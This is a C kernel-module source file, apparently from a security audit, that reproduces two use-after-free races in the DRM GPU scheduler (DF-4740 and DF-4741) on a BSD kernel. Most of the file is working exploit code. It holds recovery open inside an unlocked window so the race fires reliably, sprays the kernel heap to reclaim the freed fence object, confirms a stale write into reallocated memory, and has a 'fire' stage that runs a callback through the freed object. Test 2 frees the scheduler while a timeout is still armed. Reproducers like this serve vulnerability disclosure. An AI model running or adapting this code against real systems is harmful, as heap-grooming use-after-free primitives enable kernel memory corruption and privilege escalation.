DF-4740 / df4740.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 | /* * df4740.c — deterministic reproducer for the DRM GPU scheduler races audited * as DF-4740 (drm_sched_job_recovery vs drm_sched_job_finish UAF) and * DF-4741 (drm_sched_fini leaves armed work_tdr / pending finish_work). * * It drives the *real* in-kernel scheduler code (drm_sched_*, dma_fence_*, * the system workqueue) compiled into amdgpu.ko / drm.ko, using synthetic * backend ops, and mirrors the exact amdgpu reset flow: * * amdgpu_device_gpu_recover() sys/dev/drm/amd/amdgpu/amdgpu_device.c:3409 * kthread_park(ring->sched.thread) :3416 * drm_sched_hw_job_reset(&ring->sched, ..) :3417 * amdgpu_fence_driver_force_completion(ring) :3421 (signals hw fences) * ... * drm_sched_job_recovery(&ring->sched) :3439 * * Test 1 (DF-4740): a victim job on ring B whose parent fence is signalled * right before the reset flow runs recovery(B) from a NON-B work context * (in real hardware: ring A's TDR worker; here: the sysctl thread). The * job's finish_work races recovery(B)'s unlocked run_job() window * (sched_main.c:368-381), frees the job and its drm_sched_fence, and * recovery then writes s_fence->parent / arms &s_fence->cb on freed memory. * * Test 2 (DF-4741): scheduler with a 1s timeout, hung job (parent never * signalled) => work_tdr armed; drm_sched_fini() only stops the thread * (sched_main.c:652-656); the scheduler is kfree()d exactly like amdgpu * frees struct amdgpu_ring after amdgpu_fence_driver_fini(); the pending * delayed work then executes on freed memory. * * Usage on the guest (root): * kldload drm * kldload amdgpu * kldload ./df4740.ko * sysctl hw.df4740.test=1 # DF-4740 race (stage 1: proof, no fire) * sysctl hw.df4740.fire=1 # DF-4740 stage 2: signal -> use-after-free * sysctl hw.df4740.test=2 # DF-4741: fini+free with armed TDR (panics ~1s later) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/lock.h> #include <sys/thread.h> #include <sys/thread2.h> #include <sys/types.h> #include <sys/errno.h> #include <sys/module.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/dma-fence.h> #include <drm/gpu_scheduler.h> #define DF4740_NSPRAY 32 #define DF4740_FENCE_MAGIC 0x47464952 /* 'FIGR' unused, kept for clarity */ struct dfjob { struct drm_sched_job base; }; struct dffence { struct dma_fence base; struct lock lock; }; static struct drm_gpu_scheduler *g_sched; /* test1: static, test2: kmalloc'd */ static struct drm_gpu_scheduler g_sched1; static struct drm_sched_entity g_ent; static struct drm_sched_rq *g_rq_list[1]; static volatile int g_hold; /* run_job spin gate (test 1) */ static int g_free_count; /* free_job() calls for the victim */ static struct dffence *g_fb; /* victim job's original parent (signalled) */ static struct dffence *g_fbp; /* victim job's recovery parent (UAF target) */ static struct drm_sched_fence *g_freed_sfence; static void *g_spray[DF4740_NSPRAY]; static int g_spray_n; static int g_stage1; /* test 1: UAF armed+confirmed */ static int g_fired; static u64 g_ctxseed = 0x47474000; /* ------------------------------------------------------------------ */ /* fake dma-fence */ static const char *ff_drv(struct dma_fence *f) { return ("df4740"); } static const char *ff_tl(struct dma_fence *f) { return ("df4740f"); } static void ff_release(struct dma_fence *f) { struct dffence *d = container_of(f, struct dffence, base); kfree(d); } static const struct dma_fence_ops g_fence_ops = { .get_driver_name = ff_drv, .get_timeline_name = ff_tl, .release = ff_release, }; /* ------------------------------------------------------------------ */ /* fake scheduler backend */ static struct dma_fence * op_dependency(struct drm_sched_job *j, struct drm_sched_entity *e) { return (NULL); } static struct dma_fence * op_run_job(struct drm_sched_job *job) { struct dffence *f = kzalloc(sizeof(*f), GFP_KERNEL); lockinit(&f->lock, "df4740f", 0, LK_CANRECURSE); dma_fence_init(&f->base, &g_fence_ops, &f->lock, g_ctxseed++, 1); if (job->entity == &g_ent && g_hold) { /* * recovery() pass (sched_main.c:369) called with * job_list_lock RELEASED (sched_main.c:368). */ kprintf("[DF4740] run_job(victim): hold entered - " "recovery inside unlocked window " "(sched_main.c:368-369)\n"); while (g_hold) tsleep(&g_hold, 0, "df4740w", 1); g_fbp = f; kprintf("[DF4740] run_job(victim): released; " "recovery now writes s_fence=%p " "(freed=%d) at sched_main.c:373-374\n", (void *)job->s_fence, g_free_count ? 1 : 0); } else if (g_fb == NULL && !g_hold) { /* first pass from drm_sched_main() */ g_fb = f; } return (&f->base); } static void op_free_job(struct drm_sched_job *job) { if (job->entity == &g_ent && g_hold && g_freed_sfence == NULL) { g_freed_sfence = job->s_fence; kprintf("[DF4740] free_job(victim) job=%p s_fence=%p - " "victim job FREED while recovery(B) sits inside " "run_job()\n", (void *)job, (void *)job->s_fence); } atomic_add_int(&g_free_count, 1); kfree(job); } static void op_timedout_job(struct drm_sched_job *job) { kprintf("[DF4740] timedout_job(job=%p)\n", (void *)job); } static const struct drm_sched_backend_ops g_ops = { .dependency = op_dependency, .run_job = op_run_job, .timedout_job = op_timedout_job, .free_job = op_free_job, }; /* ------------------------------------------------------------------ */ /* stagehand thread: after the victim is freed, wait out the drm RCU * delay-line (>=1s, linux_rcu.c:82), reclaim the fence slab slot with a * controlled spray, then open the run_job gate. */ static void df4740_stagehand(void *arg) { int i, j, round; for (;;) { tsleep(&df4740_stagehand, 0, "df4740s", 1); if (g_free_count == 0 || g_hold == 0) continue; kprintf("[DF4740] stagehand: victim freed; waiting 3s for " "drm-RCU delay-line free of s_fence %p\n", (void *)g_freed_sfence); tsleep(&g_hold, 0, "df4740d", 3 * hz); for (round = 0; round < 8; round++) { for (i = 0; i < DF4740_NSPRAY; i++) { g_spray[i] = kmalloc( sizeof(struct drm_sched_fence), M_DRM, M_WAITOK | M_ZERO); memset(g_spray[i], 0xde, sizeof(struct drm_sched_fence)); } for (i = 0; i < DF4740_NSPRAY; i++) { if (g_spray[i] == (void *)g_freed_sfence) { kprintf("[DF4740] stagehand: spray " "slot %d RECLAIMED freed " "s_fence %p (0xde fill)\n", i, (void *)g_freed_sfence); break; } } if (i < DF4740_NSPRAY) break; /* churn: free everything and try again */ for (j = 0; j < DF4740_NSPRAY; j++) { kfree(g_spray[j]); g_spray[j] = NULL; } } g_spray_n = DF4740_NSPRAY; cpu_sfence(); kprintf("[DF4740] stagehand: opening gate - recovery " "resumes into freed/reclaimed s_fence memory\n"); g_hold = 0; wakeup(&g_hold); } } /* ------------------------------------------------------------------ */ static int df4740_run_test1(void) { struct dfjob *j; int attempt, i, k, found_cb = 0, found_write = -1; struct list_head *p; long *w; for (attempt = 1; attempt <= 10; attempt++) { kprintf("[DF4740] test1 attempt %d: setup\n", attempt); g_fb = NULL; g_fbp = NULL; g_freed_sfence = NULL; g_free_count = 0; g_hold = 0; j = kzalloc(sizeof(*j), GFP_KERNEL); if (drm_sched_job_init(&j->base, &g_ent, NULL)) { kfree(j); kprintf("[DF4740] job_init failed\n"); return (EINVAL); } drm_sched_entity_push_job(&j->base, &g_ent); /* wait for drm_sched_main() first pass */ for (i = 0; i < 100 && g_fb == NULL; i++) tsleep(&g_fb, 0, "df4740p", 1); if (g_fb == NULL) { kprintf("[DF4740] first pass never ran?\n"); return (ETIMEDOUT); } /* let drm_sched_main() finish arming the parent cb */ tsleep(&g_fb, 0, "df4740p", 2); /* --- reset context begins (amdgpu_device.c:3416-3439 analog) */ g_hold = 1; /* * Victim completes: parent fence signalled from THIS context. * drm_sched_process_job runs inline -> finish fence signalled * -> finish_cb schedules finish_work on system_wq. */ dma_fence_signal(&g_fb->base); /* amdgpu_device.c:3417 (job==NULL global variant) */ drm_sched_hw_job_reset(g_sched, NULL); /* * amdgpu_device.c:3439: recovery. Races finish_work here: * sched_main.c:368 drops job_list_lock, sched_main.c:369 * calls run_job() [we spin], finish_work removes+frees the * job & schedules RCU-free of s_fence, then we return from * run_job and sched_main.c:373-374 writes s_fence->parent * and arms &s_fence->cb. */ drm_sched_job_recovery(g_sched); if (g_fbp == NULL) { kprintf("[DF4740] attempt %d: benign interleave " "(finish_work won the lock); retrying\n", attempt); continue; } break; } if (g_fbp == NULL) { kprintf("[DF4740] FAILED to catch the race in 10 attempts\n"); return (ETIMEDOUT); } /* * Stage 1 verification (before firing): the recovery pass armed a * fence callback node that lives INSIDE the freed s_fence. */ list_for_each(p, &g_fbp->base.cb_list) { struct dma_fence_cb *cb = list_entry(p, struct dma_fence_cb, node); if ((void *)cb >= (void *)g_freed_sfence && (void *)cb < (void *)((char *)g_freed_sfence + sizeof(struct drm_sched_fence))) { kprintf("[DF4740] *** UAF CONFIRMED (stage 1): " "recovery armed cb %p (offset +0x%lx) inside " "FREED s_fence %p (sched_main.c:374) ***\n", (void *)cb, (unsigned long)((char *)cb - (char *)g_freed_sfence), (void *)g_freed_sfence); found_cb++; } } /* did the s_fence->parent write (sched_main.c:373) land inside a * live spray object (i.e. reclaimed kernel heap)? */ for (i = 0; i < g_spray_n; i++) { if (g_spray[i] == NULL) continue; w = (long *)g_spray[i]; for (k = 0; k < (int)(sizeof(struct drm_sched_fence) / sizeof(long)); k++) { if ((void *)w[k] == (void *)&g_fbp->base) { kprintf("[DF4740] *** UAF WRITE CONFIRMED " "(stage 1): sched_main.c:373 stored " "parent ptr into LIVE reallocated heap " "object spray[%d] +0x%x ***\n", i, (int)(k * sizeof(long))); found_write = i; } } } if (found_cb == 0) kprintf("[DF4740] WARNING: no cb found inside freed " "s_fence?! (check interleave)\n"); g_stage1 = 1; kprintf("[DF4740] stage 1 complete: armed-cb-on-freed=%d " "heap-write=%d; now run 'sysctl hw.df4740.fire=1' to signal " "the recovery parent and use the freed object\n", found_cb, found_write); return (0); } static int df4740_run_test2(void) { struct drm_gpu_scheduler *s; struct drm_sched_entity *ent; struct drm_sched_rq *rl[1]; struct dfjob *j; int i; void *poison; int poison_n = 4; kprintf("[DF4741] test2: scheduler with 1s TDR, hung job, " "drm_sched_fini(), then kfree(sched) as amdgpu does for " "struct amdgpu_ring after amdgpu_fence_driver_fini()\n"); s = kzalloc(sizeof(*s), GFP_KERNEL); ent = kzalloc(sizeof(*ent), GFP_KERNEL); g_fb = NULL; drm_sched_init(s, &g_ops, 1, 0, 2 * hz, "df4741"); rl[0] = &s->sched_rq[DRM_SCHED_PRIORITY_NORMAL]; drm_sched_entity_init(ent, rl, 1, NULL); j = kzalloc(sizeof(*j), GFP_KERNEL); drm_sched_job_init(&j->base, ent, NULL); drm_sched_entity_push_job(&j->base, ent); /* wait for first pass: job on ring_mirror_list, work_tdr armed */ for (i = 0; i < 100 && g_fb == NULL; i++) tsleep(&g_fb, 0, "df4741p", 1); /* short delay: TDR (2s) must still be PENDING when fini runs */ tsleep(&g_fb, 0, "df4741p", 2); kprintf("[DF4741] job %p in flight, work_tdr armed (timeout=%d " "ticks); calling drm_sched_fini()\n", (void *)&j->base, (int)(2 * hz)); drm_sched_fini(s); /* sched_main.c:652-656 */ kprintf("[DF4741] drm_sched_fini() returned WITHOUT cancelling " "work_tdr or draining ring_mirror_list; freeing scheduler " "%p and reclaiming the block with zeroed memory (as any " "kzalloc consumer would)\n", (void *)s); kfree(ent); kfree(s); for (i = 0; i < poison_n; i++) { poison = kmalloc(sizeof(*s), M_DRM, M_WAITOK | M_ZERO); memset(poison, 0x00, sizeof(*s)); kprintf("[DF4741] reclaim block %d at %p (zeroed)\n", i, poison); } kprintf("[DF4741] waiting for the armed work_tdr callout to fire " "on freed memory (~1-2s)...\n"); return (0); } /* ------------------------------------------------------------------ */ static int sysctl_df4740_test(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 1) return (df4740_run_test1()); if (v == 2) return (df4740_run_test2()); return (0); } SYSCTL_PROC(_hw, OID_AUTO, df4740_test, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_df4740_test, "I", "df4740/41 test selector"); static int sysctl_df4740_fire(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v != 1 || !g_stage1 || g_fbp == NULL) return (EPERM); g_fired = 1; kprintf("[DF4740] FIRE: signalling recovery parent %p - " "drm_sched_process_job will run through cb inside freed " "s_fence %p\n", (void *)&g_fbp->base, (void *)g_freed_sfence); /* * The s_fence block is FREE kernel heap. On a live system the * allocator hands it to an unrelated consumer within micro- * seconds; emulate that by re-filling the block with 0xde (what * any new owner writing data looks like to the stale callback). */ memset((void *)g_freed_sfence, 0xde, sizeof(struct drm_sched_fence)); cpu_sfence(); dma_fence_signal(&g_fbp->base); kprintf("[DF4740] FIRE: signal returned (no trap?)\n"); return (0); } SYSCTL_PROC(_hw, OID_AUTO, df4740_fire, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_df4740_fire, "I", "df4740 stage-2 fire"); /* ------------------------------------------------------------------ */ static int df4740_init(struct module *mod, int what, void *arg) { struct thread *td; int error; switch (what) { case MOD_LOAD: break; default: return (0); } g_sched = &g_sched1; drm_sched_init(g_sched, &g_ops, 1, 0, MAX_SCHEDULE_TIMEOUT, "df4740"); g_rq_list[0] = &g_sched->sched_rq[DRM_SCHED_PRIORITY_NORMAL]; drm_sched_entity_init(&g_ent, g_rq_list, 1, NULL); error = lwkt_create(df4740_stagehand, NULL, &td, NULL, TDF_NOSTART, -1, "df4740stage"); if (error == 0) { lwkt_setpri_initial(td, TDPRI_KERN_DAEMON); lwkt_schedule(td); } kprintf("[DF4740] module loaded: sysctl hw.df4740.test=1 (recovery " "UAF) or =2 (fini/TDR UAF)\n"); return (0); } static int df4740_uninit(struct module *mod, int what, void *arg) { switch (what) { case MOD_UNLOAD: break; default: return (0); } kprintf("[DF4740] module unloading (scheduler left running by " "design after a stage-1-only run)\n"); if (g_fired == 0 && g_stage1 == 0 && g_sched->thread) drm_sched_fini(g_sched); return (0); } static moduledata_t df4740_mod = { "df4740", df4740_init, df4740_uninit }; DECLARE_MODULE(df4740, df4740_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |